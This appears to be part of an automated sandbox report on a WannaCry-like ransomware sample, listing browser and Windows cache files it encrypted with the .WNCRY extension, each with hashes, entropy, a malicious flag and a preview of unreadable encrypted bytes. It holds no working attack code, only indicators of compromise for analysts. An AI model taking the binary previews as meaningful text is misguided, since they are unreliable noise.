                                                                                                                                                                              SSDEEP:6144:2IoPFuLqrxJ15ueUbzL8FDpwSxRRgl2Qd7jXiSYPGQvAV7B/pvvJ0Oq3FkB/CSW6:Ho58bzL8trAdvSVPGiij5BCFTNRa
                                                                                                                                                                              MD5:0D5A42D4B904E9462639BA6BF6F7ECD9
                                                                                                                                                                              SHA1:0CBA52D3232F9AE219BCDEF37B23724764126EB5
                                                                                                                                                                              SHA-256:69243430708280D38C29D79645C15FA7F6071C3461EA86554C1FE29476FE0C53
                                                                                                                                                                              SHA-512:B0640E7372DE77783C21525D8013C7AF198139CDF2C4173BC5DFD11F43C44E53A638EB458D611D4E2498709129108B558EC05DF651100504CD6F32177E9C5710
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....'..*..p.b2.<......4.u.q........=).............$G...t...p.e.....L..)y.3]......S..7..C.."9._...x...4."..k..0...~/.M.....n.v5V.9B8......i:.5Wl..5.u.6....m.~K..;....Mr...|D..a_.......CL.]:zy.a[.v...y..fa..'.I....A.h.T.B.n..v}.a.......;J..q..U9...` f....2.......n.>.....T..b.9.......F.>.]o....J;..VU<..el`V7.ItW.....8.e.y...}....B<.r.L/^..i.=.....2..VS.Uul\G.[.@.....Q..LTe4PY3<..RM.............|.p.B.....>......L..&...%..M)T....3......_...6.Y.tk.[...*...8...\~.....5S.. m.5.jD.5..+K....(K.~..`...,T...t.....0.'..gU...u7.9;.^Cd..%.L4GD.P..M..a..............R...C..j.A.N..K.I+...?....S...t=..n...dB1|..P...Gk....y+..5N_.0k...%..tG.....I.b..y....s...It..~.n.`...|.8x.;.u.....u..j@....Ri..J"...b......>.f.+u..d...N..tV.=....z.~62..@P..'.`..!.lI3U+..k.9...x.Ce.].....56H~..R;t.....3.De.1Z.<.+a1...."..f.-...=4.0...;..z.|..g.W.....)E.P...?f.-B...O.IXT...l.G..s.=&H.b..{..... ...ka..7.7...k.t.!..75./........a%`...........SOg...R.u;.1.MP.ROam.n.:.V1.r+5.i.g...qy.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):329976
                                                                                                                                                                              Entropy (8bit):7.999399666477532
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:s6u2Is+mtM0wLi71ucnLJO0FPKK0uKP4olXXriXsypIVfOvtpQrmDB:9u2IB00iRLL8kKK0uMFXXriXIVf+/+md
                                                                                                                                                                              MD5:CB1FFAE58E043893D5C58A071343C93F
                                                                                                                                                                              SHA1:32993C955F20EB9C647B6671FE50140377FC5BBB
                                                                                                                                                                              SHA-256:2C25ED8AE11C5A4A6CFA23DBFC4DE7251AF277326064825FE4F3D18495DE1964
                                                                                                                                                                              SHA-512:27473FEBB32C57892F685918F879C1E1DCF757E3E0ED52AD6FA21C9FE95306CEED094B445D7B03CB39061A1F839C8DC9E75556C3BE0BE03CA84D94B453C0414E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......K.K.29.X(.\{..S....Tf....p.....3H..7....3Kb.ma.di...~M|.v.W9V.\e6......fb..G. .fRR.h1.....[._N.m!v3(.LL)e.?.........S..>.!.H."iht.".........:..M3.3-.-.{qyL.l7-...\.p..[..Z...D...../.h.....l.A_.Z.+....N1x...DT.0...V.;."y..,./.b..ER.....s..............5[....z.....!............F).y.....3B...i.'i^.b.zN...>..9.1k.g$......3....1..a..P.....R....a.X.>.....S...._.....&7.{..}........YF..%>K}XX.y.....9....$p... ...x..Y.o....#..:....BL. ........1.-0?9.e."j..D....(.1.....8h......F..G...bex...v.4M....Ea..C..KmH.g'.X.4]j.qjL..N~.~./.....fPT.....l...\FZ....'......O.q..2A..0.ME....>f68....(..}..^.I.,...X!.1..Z..K.Di.5.4.......he.K~J.N...+.;...P...^M.{:Iq.wU.axw.%.......~...)..#aI.9C.....yJ..P.o.SB#...\...W....2.#x...Z..f.W........%..Z_....U.#.q....$..Q.:}}Y..\..w`.f[.....^....M|.%...<{.....z......(..h..u..9....+}k...1..1..Z..Z6.c...0.).:....h1.0L...-..(h....k...,.(..S..][k....w.u...|.....M.wGY.H.....#......(_...xd........<.%..3`

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):552536
                                                                                                                                                                              Entropy (8bit):7.999675470687117
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:XSpCBVKJfvyFtQmUw9JmNg7EyLmA5j3C9UhNDWM1DnU28d7:XZVEvDbFNgPLN5L+UvDR17UV7
                                                                                                                                                                              MD5:B849A60E1DE81320A8E343225EDD4BDD
                                                                                                                                                                              SHA1:E05FAD4DFCFF8337B212332FCAC17913FC3FD797
                                                                                                                                                                              SHA-256:800F5EAA78207BFA408170C2ED6B7D8D6BFBD037777A34AAEC7A8F59555ABBCE
                                                                                                                                                                              SHA-512:B0F04FCA49A95A35A96674E2DB64D103844F7724381DAA75D36147C682273998F9C30F901A7D975FD036C0C337D9998C8CF07CC75DA614DC679F23D61E095E71
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!............N+..#IoV...Ka.)..7.R..\|&y.vY..fIFh.?.[...9....~...`6...VX.......^p{........:.x......Dd.....<....../.._...V....U..<.......P.~..>.h...U$kf.D.}.......B!....Q..i!...<@...P.."....G.q.7.c.Y..H/...)l`....7?Z.._...1.+`LT..SG0..\1jX..N..,..m....9m........B...`.%Kj..@.7......\^...L...O.&..4_z.7...}.=./6\.$W}q.k..~.h6.V...K.d".......v.z=......=}.P..H...W.q.....ukyA..0..............R.......#u4H.R............G.liOjI(..Tj.H.K..,.....T.K.y.+i...=.+4............H@........6.A.B[s.A.6..-..,7749I._S..gH....4V.s.iH.......Rx.....H.[..|5H.;+.J.....b.?.@...w.:.N....)_$...N.,.f{.}p.....X.f..rdK....w/f..8)I.b....7.n....{...f.6.{..N.../i...f....N...h.Q0...cH..=..de._...?f#mH]....[B..<..&:...i.w.FX.J....'...Zb..t,.E.*.....j..H.lYU.....Y.....b4.....X...uK.../.i....b\...\...Qz@.^Zy.|..ao..=r.......y.1n.p....v.0.*.x.....B.a e.+i@7.t.........(c....#.:...../.......<.u(%.2=aB.tT.b....:.....JO5*..:......3.q[.o.g).3t.ii..SP.<9.Ke.k....O.....*.....w.,

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\load-ec-i18n.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16456
                                                                                                                                                                              Entropy (8bit):7.986832721972737
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:fOSiXE9zQN8348ff0qdFtb3nJ1N373Nsw4eXlZrHPELdbSUaVT:fVQi348ppZrr3N6eBgh7aV
                                                                                                                                                                              MD5:8F95EC689D0E9E23D2B0D8B708C5C193
                                                                                                                                                                              SHA1:8E27847E37FDD6C749938E15812BAD09F332DEC1
                                                                                                                                                                              SHA-256:145C1E032D515C055F210F2EC8B5A409FE34662C764ED07F2E99EF699830BDEE
                                                                                                                                                                              SHA-512:A3B283657976BFED2FCA578C5059C08A90DFFB6BA6D88628A27B0F19F2AFF199211FB3376416F597836417D35919CAA5DDDED1F39EB00332AB53C5A31D451906
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....%l.$@.....C....V.....5.Mu...F..s.#`..Z..Sv.E...S.|..R>o..`u.ea.v..T.n|.c.....nb...B#&.;..B...1...=.....(P...e...7...k........\.D#..J.Y...A.$..Y...&..."T.(G...]......b8..a..&.w.}...[...6.N.B......Y.8..b*y.$w........+...tUx:...V..( /v...b.......}.....$?.......$.....[.q..i...p..=,r..!.....H...9p.1....s...........=j.m..AP...).[..h.]. .&..p:X.0..R.-...+k?....R.P..,{n.3...m.fjZ>s...F.;/....v.Fc..#CZ.2mf.R...6.W.RM.].6..z=....z..*.uf.....C.D....K..bz....]I.b..$..h.....m1.a...LV.&2.x............".....!._..O*..j.a1.(...n..?.S...O^.`.....=...2U:oH...L...8...&..L......@~.)........A..2..2.x...B..}..cw...P..)....H.*.x......Pf.{....+...RR.Ld~......-..&\8^{.U.U~.}Bu....+.c..x'&..s.qHHqnf.mB...|..O.g..3...Y.....&H..c..3wXe...i.g..c...r...4...B..G...W..+B..x..#.O..i....G.n.O.....x..m....)G..E..$...&...P.v5.3...NK..cv7...v...0.g...M...>........]..A.S..zs..JP.o^.S...Z....o.,::?.D. ....<...Ph.!.P.{*..4..##E.....p.._M.3../..S.9X:....5...&...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1394952
                                                                                                                                                                              Entropy (8bit):7.99987965382756
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:YC06Or+wgB/WEfam/yuxJplU2cnX3C8FV7f/rC+1CJOpMh1cfn7xFICIK5Qbh:FnP0oplgXy8P7m+UJQNf7xFICIpbh
                                                                                                                                                                              MD5:35BF0963A78AA7F45F1E250D212EF2AA
                                                                                                                                                                              SHA1:CA5B8CBE50EA7377D4E4514D0FBDE0E2D8934DCD
                                                                                                                                                                              SHA-256:313B9F114E862798CFAEE924D0D14EBCAB9D1F598906B227CCC80D994F2EB1B0
                                                                                                                                                                              SHA-512:2093A7174F55F9749E35F286A225830A53597D49C4DFC588BD14199DE1CF87398818DA294D6B0243272DC0506145A02A85A3C29DE50CE5EA57EC91DB1406C02D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....K.!l.....0...\..X..X...T.k.B.A.K..h4.V..E.J.h#.E`.'.~.S....U.+...88...\.....k........{..[..pp.|wv..<.y......{.....Xxu...u...s...|...}.M.~.Qm...T..1=.^.{|..[l..Ny.>Y.4u,EF.9.q...K.......q...LG..O..f....K..O1..k ..FS.s_k.......rk...>Y.c..........G.......D..*&.]y.V.....s!.WE......b.<..^... .q.8..--...1..}T....^....a]...'3.......0:B.S.............3....*p...N...](....T....=8KI..z....%y... ..E.b.%..rKg#...........?... ...F.H........w..G.a9G....Q...oP...#p..M.QRYY.?.........`k..|....!..4j..6..K.c.8........$vq.DY.+.#.?............z.....k\..0.+-.2.9ZS-gj%>......K3o./.;./%~N.2....L.5>......}L2\...dn.t..@....s.m";....|O..6....j....w...g@h..2.f..A.d........d8R.a....mC*T..,4.._G....C"p....1....p.).L.x*.a*;....U........6.\......A3y...<3.n.^.J.{..s....g...S...[.Aue.......yNB.9.....l..,....!.......L......!QY".o])..a.^c...v^..........w.......u:.O.4...C~.Q....D.Pe..11.D`..g...YB.k...m.S1zN9.......fZk..[....e7T.M....b`q...o...H|}%...'.RJn.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\adblock_snippet.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2600
                                                                                                                                                                              Entropy (8bit):7.920795436258108
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkrveaFYhpxiWq4fakrXwaAw2+Ayyctkhlfpuuy+QR146x8f7F/jRZRgXECoCj3I:orea8xiW1fakrww2+6zfsL2fBRgXX7gh
                                                                                                                                                                              MD5:E5E00E8D6A1F92CF21272A9DB3C8C5E1
                                                                                                                                                                              SHA1:06E539377C7A3AF22F35A4D19FB0C1276527C93E
                                                                                                                                                                              SHA-256:A1A4AF5D7F638EAA7358AF8A6FC6467DEE9CB98F38CDA2498945693CB8A64F30
                                                                                                                                                                              SHA-512:F74A17850E8858496603D371EBF9BAB9AFA1425904E7D75836A559DC3A343FDD968CEA7D71701F32D80E1CAB3196253FB1AA72AC37C32104A16CA3D80082E439
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....[=?s..H?....n..s.W)..%..i!R........K.I.../..Bv...O..w....C,.yMy.8..e.{.X....(..r\..9.Z.......B....WY.1x'.r....76..n.~...9XV#..u8.,..%(.z[..P.c.~..}6...Ic.Jg.C.....n1..D.....(..6b..D.A3z../D..@._.....k.p.&V0.v'......4......%.C.;.?v.....b..9....................t...vB....[.?..d....a .R.z..w.x.:...U....~...FLh8.7....?........fY.........?&5...7.7.Y.'Q.h.........v.%...z...u......gd......R.P=^...c....r.(... ........N..f.N.C:sZL....-....s.Wuv.....a.{.O...7.|B\.....H..a(.S.A}.fgz<r..z%a..)=...98....5.,.....q.6.GS........D..k.Q.5...M..l}....L]....J>$..h....z...-.b.3..oZ .........B.D..@54..........W.V..@..}...F.;43...?...X.G..;^.{7\.b<.K.$'...i.M|.|......Kr.K..z...;.E*.........<..`.. ...{..\..Y^..u...^K^..p..$.........qi.$.....s?...G...n!.......xWN+^Q.e..ZE.f'..i..7p.XB..Oz...g%.._..*].....{......."..q.....bP./.....79.jA.q..{.)..^..!......Z6.Q.z.....7'.<.7o.2..I.]b.p...........*BH...:..01.C...4*.Iz.]@"B*[.<.b|H.8\..J...V]}...$l

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):424136
                                                                                                                                                                              Entropy (8bit):7.999511646957492
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:zacuvUgbSUESjKj+iXhveO0qHPPZ8xogvBQSQgxLqoVoIcLRPNdyffHcCMvR:XgOcmj/hvRBXxQLqoVoXl3yX0R
                                                                                                                                                                              MD5:B67A450041692F1D55B6CAFB7FFC629B
                                                                                                                                                                              SHA1:BC4BC8B12125C1A2B4D32838450A33D618ACFC50
                                                                                                                                                                              SHA-256:C9C9A73CEDA5D4B4433C294D2B638D817FC7DF0798956D2E3AE52068056189BC
                                                                                                                                                                              SHA-512:32C05345E745BE6E6AC6589F96ED2D8CAE1FDD95737CFA2C28D9B9BBE84DADECBD9FF32DBFFC02D1511853CB18DF98AE2C4D3E0DB5082069383E4F7A8AD21DAC
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..../.<...aQ....%T...t.....b.E....[...y.q....4VG.Q\Q-h@i.....O%,U.c...m"w. ...l`^..K4.....n...s.7h...j..$..~.WY......L.1..w..=.Eb^s(&H......-%S0P...e...)....".R._?...M..%.U9.@.~I..T..".8<<....w...^9.#:Y.k....*n..,....W7...ZPZ8.u.y...aE;.....4TM[r.[4$.....w......B.....N..3...uU.0.D..a.........].w)&...I.Y..-..&.k;....E..#...D....Wg..P.wT...T.d.O..#h.......G..T7%.7..T3.(.........vL.r.(.%9LS@...=... ..aHq.J.....T6"l.#(.........t..."...&..E.ZL.-B+......bGK..^U......d;.*....o....k.U.....Cts.~..}.....tx........{]G.;M...Ne.f..b.....D...pl.*.....O`...........OW...8..e.7..h..y.}........:....'!.'..?v.Nw....9.m# ..G....P\....Cz.....E....ed.S.C\...GdX...8...F......O.1@..,1_e.%.uH.......m....8......JBf.A@.B....X\|'l.e..."-........1.|...1......Z.6.X?M.C./.D..ND...dW....k.q..w6...."..^..{.........JXL.e+Av./..\R...AT.C'...x%...@e..zumA.!;..0(.........J..\s.C...e.s1?.aI).;.7.....u....d|.....hY.....bu..u.=...0.T3....o...>.B...ap..6L.z...........NS......j.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):102680
                                                                                                                                                                              Entropy (8bit):7.998250629106307
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:QqVpYJDkzG0I655xDyWBCTDh+X5HkQhieQX:QqVpYJYzRI6pCIX5E1eQX
                                                                                                                                                                              MD5:E8801333038B5D9927E51FFC4650A497
                                                                                                                                                                              SHA1:621CE9CFE45C182BB21CAE7B7D1F4E32FD60021A
                                                                                                                                                                              SHA-256:7033181FD6EFE6A326761E5BFBDA3708C11E943C76DB525EA47ABB1760225F63
                                                                                                                                                                              SHA-512:F5368B9314920DB585E74A514DD7B3F87A41BA1E26953469CBD971F83206F99DD1C99553555C41959DC23E31802394D2F373CD21B43E7DCBD13DE20A2FC165C7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....:..].*....Xn..}....K]<n0.-..W{P.....{.-.t........5.;........o.......],...b8..V2-(...f5V.7..^5~K.......RP-l=......"b=.8b...H......rP.W`...:c".c.W;...p.HR.2..8u.$..Sz....{c.bho$..X...J..9h7..G.R.m..o..;...!......5.Q...?f:...#.$Gv0...>..._..o............e.............G...9.8qo.Pt. .o.'...W.Z.E=.:[.Z.M".C.....O.....Xc..$.....dX].(a........A.....".g.E.M.Q...oJ.x.*..K.:.<.;..OV....w.j.:.OBOa...q............hc..h....~..sM..x8..!..IP{..B+_^...9...A..D.....1l.P.]B.c.....6..Vz...z#.9>p~`.\.{Fkr..../.6...........$......-..s^3...u.tZ..5.~..)\C..&O.......HZ.fQ~....)..2.2.oK..H.P...........K.H8t.D<.'.r.....2.u....=..a...$#b.(..xv...&.fr..F6Y..AY..L..:.I"....A...[.............x..F.ZjMK....`....W#s.....iK... .)...Ore.wP.O'9.'.......N......7.d..#]...e~......v....R..'.y....!............N...>..'<J&..i..HW0*VF........s.\...4(L]..ZC.zN..B.......(B.i3............d..f0..<.X..f.)...O..&. ...Y&.p..c..._...k/.R~...$..|.......;`.-.".~.Mfi/#y...^.....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):102344
                                                                                                                                                                              Entropy (8bit):7.998225833241117
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:KpQHOF09acIyCkt9rmfny+fcSIdgyXMkwn0s4QIamm7/T9aoeIs5gW4Ep:KpLyQkbuSFdVxS8+BZgX
                                                                                                                                                                              MD5:72C93FA76E0ECD366545FD12B2D96E73
                                                                                                                                                                              SHA1:5B46746B928D66A2E4CC35B06B7D3913F980BF35
                                                                                                                                                                              SHA-256:F2AA859A09AFF6062472D0D53F164327EFC45A0A925209129F1382FEB919B2C9
                                                                                                                                                                              SHA-512:A8EB4FC65252FE1C7C22E19A30B4A953327BA843AC9E5456749A398EE4DC24898E4ABA8328CB3EF9EACA101587819E573499865AD05805948275B5E765BFE834
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....6...^6VA|.......-.`.......x."a.}X...?....y....Nd$}2....(jqY......$]2Q...a/...e.<M..A{Pc.....&.c...BeT.....1gb[.f.fA-....i..#.I..............G^a.......:.X..6....P.. ......H...g..dw..Vc.$...q..c...)..0..........-..S,...Tc.....0.....E..7...,..Ww.?.................L+.O....G.r....S6.1.._.t%k1.E7....l.-._..Q...\..(...3..p=..x.S.l.|.Jm.D./<.CV.b..jw...%R....3<.!.]x......DO.P{0.".Q<GP..)f9.d.5................L(nejR.@.Q.U..-...".....>m.\U.....fo..q. y..L?'U.8S.qh..X.]...f....v'Q.h%.Q.d.S>.'..c.0Q.....y..\.....`M....M..KPP..n.7.>.]>V.Y:.....f..l...3,...'..y/!.*$....9...0.s..R.2.S.s@Ht..+.;Q.]....p.M...[...@.....,..1R......B...5z.....<........Y....V..N.D...*....q$'.{.m......e.x.O..O.%.}p...w.Q...U.vy..G.8.@9u.bh.....~.2.....2..E.;....5..V)X..._..U+.;....?..]..A\..n...../j....0....+.E..0>r..6.8N}.`8pO._...@1......A....].G...@.....FH.+|.8..Y.)..w... ?|...7..=.R..Z..zV.@[?....z.^../.........7..TM1.X....Z..s....H..%5c..7Z..G.np..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):75240
                                                                                                                                                                              Entropy (8bit):7.99736776037849
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:kZbHzHmW93FTZC7lVwy+iWedFF0GzR0GYE986oVD5:kRHzHz93FoHYiWmHiGYOFoL
                                                                                                                                                                              MD5:2660D0054302F82EF80CEEE3D87C5A48
                                                                                                                                                                              SHA1:4BCBBBE32A3DE3A74813C360A4FC3974D7925A4B
                                                                                                                                                                              SHA-256:0FB4AD2F82760145B7C67E1BF9CDDE73EB60759A53ED1AA31B1E5AE781B9C656
                                                                                                                                                                              SHA-512:05C7D3C10B75BEC2EEA183584519B7AD69BFDF91719265DDEF2636F7573A90BBF7C24CA2FF0B2BC2B4668A961C89A98FAABF7EC1A4A4B9466721F383D51AB5BD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....f...r..d{zO%...Y..2I..5..c..0*............R7...t....Z.y.....:..d.+2.{.~.!#..g....cE.......X|..t.:......R.....q.....K..%@\....?L...7.....G.<.<..K}.@..eV....=.<N0.Xk....A.Xu..u^.l&P.d....7X...&.$.p.~........q.[.Ho..;W.n6.........M.e._".s.@....z.>.}.....$......t...F...*.k.Z.._....i..Wi.~..og.b.E.y...:"a~r.-.....&.m...h.h..]Ll...{.-E...%....3H,CI.$....~(...7..........o..:3.A..oDV.......<.q.Rg.._....W..D...u4F".?.a]H27...m.....>..N@.'B.k.)(.>8c.DM.P........H...5vOU..........K.$.....%A.e.Gy#.B..;Q.M..8N./.T........G..Q... ..K..d.N6..M..z....l...d.:'X....z.N.V.ws.K....j....l.!....W...d.....8P..xCr..r7-z.H2_K.RT..O.V."|*..\}CA...n...E..X........q.^f/..zu.._.,.T...q..+...P". .og..g.bo.]'%..]...d.j.K.wn.................../........3..&.0.X....`...P..%F.Qn...,TPJNv.<..Y._r...%}.._...Z. .o..V...g..4W~.$.~..wP4....L.^~.Y....... ..xX.i%.w;,.Wt..u.`.0.:g...-oK.........i.-./4-....|S...z H|.t.l7UA *.c...n.3...a]]_...e.$...j+31..r........@.T.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):418488
                                                                                                                                                                              Entropy (8bit):7.999564025582816
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:MyfnpHj5rg5QI0/J299k4hjG8vOqMZbwKSNZiJN9PTDSUTDxe:Hl65H0R299vvBMZbZJ1vSUpe
                                                                                                                                                                              MD5:469AF99187621C847CF267EDFDE03226
                                                                                                                                                                              SHA1:26F7A39C89DD23831446319AC8BB97B5391FA6A0
                                                                                                                                                                              SHA-256:479FC9C939381DC9DC46469B42F5B6DEF00028B1F28B488DE870D08E10FC33F6
                                                                                                                                                                              SHA-512:064BBE898B14E941E40E09A9188D8996A5439807420AC0BAF548B10D741183235F38D0AB6CF73C6079A7B99589B7617ADB3DA852A765A1994CBF208D309C999B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......U.2.s...|.B.<.a..Y.n'.-.....t.......M`..`...[...Z].3H..b..'^.x`5...w......uo.......D..d..+c...E}....2/l.....ZG8&b.b...%. vM....WW..;.4x..4...t.lN.U.....X..c$...'.V."s..vw....#p..[.p.l..f.pj.....C~... ....6d..1..7V6..h....?|P.&..lQ.J..%v...d.:.....a......O..r.......{...-.Z.MJ\..=........7.....q;.6qN...3.!...z..}.(........O..'.6u...........^.J.x....+@......?pjGE..D.g.*...!_..>....n..|......`t.."..o!....kR)^ph....@o......p.q....A..v.d...[....\....A..D...=.m......_._.#..;...][.a..h...#DN=*@..... ]0.=.F ..q;....."...t.k ."....4...0AjgQ.]..6w.0..D.g.5.....X........`?...MqQ..]..8)......"lE0....{..4...3.Y...F.]Z....*1s4.e..K..Ai..?.Q..Yx..u.|B..b..x..5.].0z......y.=...W.E(.@...v.yU..We.a.}.r.|.-2l..~..\....@....$.}i[.o. ...j0.7.e....e3.2Z:@Y[..*.....*....f.8'....*..o....}....z`o.....Q....b.DN.}......6=....p..LJS;.~9..\......."2.(N4...If.m.....W...:.GWB...l..$&..n..Yv..lU@.r.....%c8.~~.. I....+h<.E,.4_.......&K..8.;.=.6..&.m..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):416088
                                                                                                                                                                              Entropy (8bit):7.999541799514482
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:Csv+HoH6HLy+swWqfyg1YM7TxbGsPsp1z/F:zWhHLlFydM7TxbGjnzt
                                                                                                                                                                              MD5:DD2D3B1548984A45BF77B1002BEE34D3
                                                                                                                                                                              SHA1:7E88871FE9949E6B8D6419DC4704DFF4C93BC8F6
                                                                                                                                                                              SHA-256:69B26CB4D84C0B43CF95441867566B96DEBA690C41BA1A42D99F440AF243988F
                                                                                                                                                                              SHA-512:188D7B3407FC75111D5CFFE519E9F47C6D3F58D6132DB49C34AE6340E17BE4ADAF0BF0C286C31EE636D503861DB904D4928D3C995AF1A4FD151764BD468941C7
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
